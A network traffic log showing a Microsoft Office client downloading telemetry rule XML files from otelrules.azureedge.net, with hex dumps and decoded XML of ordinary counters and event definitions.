2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-09 05:49:14 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.11	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c11b12be-901e-0048-4704-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054917Z-r1cf579d778z4wflhC1EWRa3h000000007h0000000003u57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.11	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3fcd35f4-e01e-0052-4b02-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054917Z-r1cf579d778qgtz2hC1EWRmgks0000000780000000006bpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.11	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2b116ba0-201e-0051-0503-487340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054917Z-r1cf579d778v97q7hC1EWRf95c000000071g000000006575 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.11	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 37b49224-801e-00ac-424b-49fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054917Z-r1cf579d778pftsbhC1EWRa0gn0000000240000000001a8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.11	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 75167780-601e-000d-444b-492618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054917Z-r1cf579d7782w22mhC1EWR2ebg00000002fg0000000026nu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.11	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1496b81c-e01e-0003-0d90-490fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054919Z-r1cf579d778n7642hC1EWRpehw00000000p00000000013n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.11	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c8d44b57-401e-0067-6578-4909c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054919Z-r1cf579d778dndrdhC1EWR4b24000000074g000000004myg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.11	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
